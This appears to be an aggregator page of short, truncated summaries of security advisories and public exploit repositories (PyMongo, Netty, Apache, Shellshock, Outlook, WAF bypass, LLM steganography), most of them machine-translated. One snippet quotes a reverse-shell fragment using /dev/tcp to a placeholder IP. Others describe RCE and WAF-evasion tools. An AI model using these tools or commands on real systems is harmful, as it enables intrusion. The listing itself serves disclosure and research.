PyMongo: PYTHON-5996 Heap out-of-bounds write via signed size overflow in BSON document encoding

An integer overflow in the BSON document encoding component of the MongoDB Python Driver's bundled native extension may occur when a single document is built from an unusually large amount of caller-supplied data. Size arithmetic is performed in a signed 32-bit type, and the guard meant to catch...

GHSA-V4X9-3549-CRWV PyMongo: PYTHON-5996 Heap out-of-bounds write via signed size overflow in BSON document encoding

An integer overflow in the BSON document encoding component of the MongoDB Python Driver's bundled native extension may occur when a single document is built from an unusually large amount of caller-supplied data. Size arithmetic is performed in a signed 32-bit type, and the guard meant to catch...

CVE-2025-55182-RCE-shell

CVE-2025-55182-RCE-shell Burp Suite/antsword - इंटरैक्टिव शेल HTTP hijack + POST + AES-256-CBC/BASE64 पहचान -dnslog DNSLog No-Output Detection Nuclei -poc भेद्यता इको पता लगाना शोषण -exp इंटरैक्टिव शेल base64 echo -exp2 इंटरैक्टिव शेल HTTP hijack + POST + Base64 -exp3 इंटरैक्टिव शेल HTTP hijack +...

CVE-2022-21449

CVE-2022-21449 एक रिपॉजिटरी जो उन अनुप्रयोगों के लिए base64 हस्ताक्षर उत्पन्न करने का प्रदर्शन करती है जो "जावा में मानसिक हस्ताक्षर" के प्रति संवेदनशील हैं, nodejs वातावरण में कार्यान्वित 😅 चलाने से पहले सुनिश्चित करें कि आपने elliptic के संशोधित फोर्क को https://github.com/davwwwx/elliptic से...

CVE-2019-19945_Test

CVE-2019-19945Test यह पहले प्रस्तावित CVE का कोड है 1. Docker इंस्टॉल करें 2. सर्वर बनाएं और चलाएं cd Server docker build -t server/cve . docker run -d --name server -p 80:80 server/cve 3. सर्वर कंटेनर का IP प्राप्त करें Linux sudo docker container inspect server | grep -i IPAddress Windows...

HiTMS_steganography

HiTMS : un framework de stéganographie linguistique multi-flux à haut débit Code de recherche pour la stéganographie linguistique dans les dialogues de chat par LLM , avec une baseline mono-flux et un protocole multi-flux HiTMS par lots qui dissimule plusieurs messages secrets indépendants à la...

CVE-2026-66752-HTTP-Request-Smuggling-via-Unparsed-Transfer-Encoding-Values-tiny_http-

نشرة أمنية: تهريب طلبات HTTP عبر قيم Transfer-Encoding غير المُحلَّلة tinyhttp معرّف CVE المُعيَّن: CVE-2026-66752 الملخص يتحقق tinyhttp فقط من وجود ترويسة Transfer-Encoding. ولا ينظر أبدًا إلى قيمتها. أي قيمة، بما في ذلك ترميزات ليست chunked وقوائم ترميز لا يكون عنصرها الأخير chunked، تؤدي إلى ف...

netty: io.netty/netty-codec-http: Netty: HTTP Request Smuggling due to improper handling of conflicting HTTP/1.0 headers

A flaw was found in Netty's HttpObjectDecoder. A remote attacker can exploit this by sending a specially crafted HTTP/1.0 request that includes both Transfer-Encoding: chunked and Content-Length headers. While Netty correctly strips the conflicting Content-Length header for HTTP/1.1 messages, thi...

CVE-2021-41773

CVE-2021-41773 CVE-2021-41773 وفقًا لقاعدة بيانات الثغرات الوطنية NVD CVE-2021-41773، فإن Apache HTTP Server 2.4.49 عرضة لهجمات اجتياز المسار وتنفيذ التعليمات البرمجية عن بُعد. اجتياز المسار أُدخلت ثغرة اجتياز المسار بسبب تغيير الكود الجديد المضاف لتطبيع المسار، أي لإزالة الأجزاء غير المرغوب فيها...

CVE-2021-41773

CVE-2021-41773 परीक्षण स्थल यह एक छोटा Docker रेसिपी है जो Debian bookworm पर आधारित एक कंटेनर सेट करने के लिए है, जिसमें Apache HTTPd 2.4.49 का एक उदाहरण है जो CVE-2021-41773 के लिए असुरक्षित है। CGI को स्पष्ट रूप से सक्षम किया गया है ताकि इसका उपयोग स्थानीय फ़ाइल प्रकटीकरण Local file disclosure...

CVE-2014-6271

Hellshocker 0.1.1 Shellshock कमजोरी का शोषण करने के लिए उपकरण कमजोर shellshock एक्सप्लॉइट्स का उपयोग करके या सिर्फ "/bin/bash & /dev/tcp/IP/port 0&1" के माध्यम से सर्वर में घुसने से थक गए हैं? हाँ, आपको सर्वर पर कुछ अधिक जटिल अपलोड और निष्पादित करने की आवश्यकता है, और एक बड़ी फ़ाइल को base64 में...

CVE-2026-23744-poc

CVE-2026-23744 — mcpJam दूरस्थ कोड निष्पादन RCE शोषण CVE-2026-23744 के लिए एक Python 3 प्रूफ-ऑफ-कॉन्सेप्ट शोषण, जो mcpJam v1.4.2 को प्रभावित करने वाली एक मनमाना कमांड निष्पादन भेद्यता है। यह उपयोगिता संचरण से पहले कमांड को पारदर्शी रूप से Base64-एनकोड करके पेलोड वितरण को स्वचालित करती है, जो...

CVE-2024-38473

modproxy में एन्कोडिंग समस्या के लिए प्रूफ ऑफ कॉन्सेप्ट PoC Apache HTTP Server में इस रिपॉजिटरी में Apache HTTP Server संस्करण 2.4.59 और उससे पहले के modproxy मॉड्यूल में एक एन्कोडिंग समस्या प्रदर्शित करने के लिए प्रूफ ऑफ कॉन्सेप्ट PoC स्क्रिप्ट्स शामिल हैं। यह कमजोरी अनुरोध URL को गलत एन्कोडिंग ...

recipe-blog-encoding

recipe-blog-encoding !WARNING यह प्रोजेक्ट पूरी तरह से vibe-coded है संभवतः इस रिपॉजिटरी से आंशिक रूप से चुराया गया और लेखक एक बेवकूफ है जिसे बस यह आइडिया मजेदार लगा। SEO-गेमिंग रेसिपी प्रस्तावनाओं को गुप्त संदेशों को एनकोड करने के वाहन के रूप में उपयोग करें हालांकि प्रॉम्प्ट वास्तव में कुछ भी हो...

Imperva_gzip_bypass

Imperva Web Application Firewall WAF POST अनुरोध बायपास Imperva Cloud WAF एक बायपास के प्रति संवेदनशील था जो हमलावरों को दुर्भावनापूर्ण HTTP POST पेलोड जैसे log4j शोषण, SQL इंजेक्शन, कमांड निष्पादन, डायरेक्टरी ट्रावर्सल, XXE, आदि भेजते समय WAF नियमों को दरकिनार करने की अनुमति देता है। उपचार Imper...

CVE-2021-31166-Exploit

CVE-2021-31166-Exploit MS Http प्रोटोकॉल स्टैक RCE भेद्यता CVE-2021-31166 के लिए Exploit विशेष रूप से तैयार किया गया Http अनुरोध किसी भेद्य windows संस्करण को लक्षित करके DOS हमले का कारण बनेगा। और सर्वर blue screen त्रुटि के साथ रिबूट हो जाएगा। Http.sys एक windows kernel driver है जो http अनुरोध...

cve-2023-23397

CVE-2023-23397 यह स्क्रिप्ट TNEF-एन्कोडेड आउटलुक ईमेलों को CVE-2023-23397 एक्सप्लॉइट पेलोड के साथ बनाने और उन्हें शुद्ध SMTP के माध्यम से भेजने की अनुमति देती है - COM ऑब्जेक्ट्स या EWS की आवश्यकता नहीं है। मैं IPM.Schedule.Meeting.Request संदेश वर्ग को ठीक से काम करने में सक्षम नहीं हो सका यह...

servu-cve-2026-28318-poc

CVE-2026-28318 — SolarWinds Serv-U "Content-Encoding: deflate" تعطل قبل المصادقة تحليل السبب الجذري + إثبات المفهوم لتعطيل الخدمة. التقرير العام يصنف هذا على أنه تعطيل للخدمة / استهلاك غير مسيطر عليه للموارد قبل المصادقة. يُظهر التحليل الثنائي أن العيب الأساسي هو سلامة الذاكرة : استدعاءfree غير...

Astra Linux – Vulnerability in Python-Django

An issue was discovered in 6.0 before 6.0.4, 5.2 before 5.2.13, and 4.2 before 4.2.30. MultiPartParser allows remote attackers to degrade performance by submitting multipart uploads with Content-Transfer-Encoding: base64, including excessive whitespace. Earlier, unsupported Django versions such a...

Astra Linux – Vulnerability in Squid

Squid encounters issues with the improper handling of ASN.1 encoding for long SNMP OIDs in version 7.1. This issue occurs in the asnbuildobjid function within lib/snmplib/asn1.c...